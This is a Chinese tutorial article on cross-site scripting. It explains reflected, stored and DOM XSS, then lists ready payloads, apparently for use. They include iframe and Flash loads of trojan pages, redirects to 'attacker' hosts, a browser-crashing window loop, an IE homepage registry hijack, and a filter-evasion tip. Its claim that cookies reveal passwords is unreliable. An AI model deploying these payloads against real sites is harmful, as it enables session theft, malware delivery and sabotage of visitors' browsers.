XSS攻击常识及常用脚本

一、什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本当目标网站目标用户浏览器渲染HTML文档的过程中出现了不被预期的脚本指令并执行时XSS就发生了。

二、XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS

反射型XSS
发出请求时XSS代码出现在URL中作为输入提交到服务器端服务器端解析后响应XSS代码随响应内容一起传回给浏览器最后浏览器解析执行XSS代码。这个过程像一次反射故叫反射型XSS。

存储型XSS
存储型XSS和反射型XSS的差别仅在于提交的代码会存储在服务器端 数据库内存文件系统等下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS用户提交一条包含XSS代码的留言存储到数据库目标用户查看留言板时那些留言的内容会从数据库查询出来并显示浏览器发现有XSS代码就当做正常的HTML与Js解析执行于是触发了XSS攻击。

DOM XSS
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与触发XSS靠的是浏览器端的DOM解析完全是客户端的事情。

附常见的XSS攻击方法

1、这个应该都知道
<script>alert("test")</script> 常用于测试 是否存在跨站

2、<script>window.alert(document.cookie);</script>
这句代码将会弹出壹个包含有浏览者cookie信息的对话框如果用户已经通过帐号登陆网站在显示的cookie信息中将会包含有用户的账户名和密码。

3、<script>window.open('pete /default.asp','newwindow','width=200,height=200');</script>,当用户浏览该 页时将弹出壹个高爲200宽爲200的网页窗口在其中打开的页面是pete/default.asp

4、跨站攻击的形式是多样的不仅可以在网页中插入跨站脚本代码而且可以在flash文件中插入跨站脚本代码实现跨站攻击。由于flash文件有较高 的安全性用户通常对flash文件的警惕性不够因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中例如制作成网页banner或者广告那么中招的用户将更多。
flash跨站是通过在flash文件中插入动作脚本来实现的通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击其实现方法入下:
首先运行flash文件制作工具flash8.exe新建壹个空白的flash文档。然后选中其中的第壹帧进入界面下方的“动作”编辑界面在Action Script中插入我们的跨站脚本代码
getURL("http://网页木马地址", "_blank", "GET");
loadMovieNum("pete/test.swf", 0);

5、<iframe src=***/muma.htm width=0 height=0>< iframe>
这就是 传说中的框架 - - 膜拜吧 还有JS 也可以使用比框架更隐蔽

6、Refresh到另壹个页面:

<meta http-equiv="refresh" content="1;URL=attacker/another.htm">

7、scriptlet引入另壹个页面:

<object type="text/x-scriptlet" data="attacker/import.htm"></object>

下面来几段长的 但是 记住 要慎用 !!

1、打开无数个浏览器窗口直至CPU超负荷非关机不可:

<script language="JavaScript"> <!-- while (true) { window.open("URI"); //如果URI就是当前页本身那就更具破坏性。 } //--> </script>

2、 修改注册表 IE 主页:

<script language="VBScript"> Set RegWsh = CreateObject("WScript.Shell") '设置IE浏览器默认页 RegWsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "attacker" </script>

有时候</script> 可以替换大小写 来躲过过滤

我最后要说的壹句话就是“害人终害己”切记!

到此这篇关于XSS攻击常识及常用脚本 的文章就介绍到这了,更多相关XSS 攻击脚本 内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!



当前位置:80知识网 > it互联网 > 时间:2020-04-29 14:39

猜你喜欢


长平之战楚国为什么没有偷袭秦国

说到这个长平之战,这场战役是秦国和赵国发生的一场战役,不得不说,这场战役的规模确实是非常的大的,两军所参战的人数都赵军四十五万,秦军20万。可是这场战役的过程中,...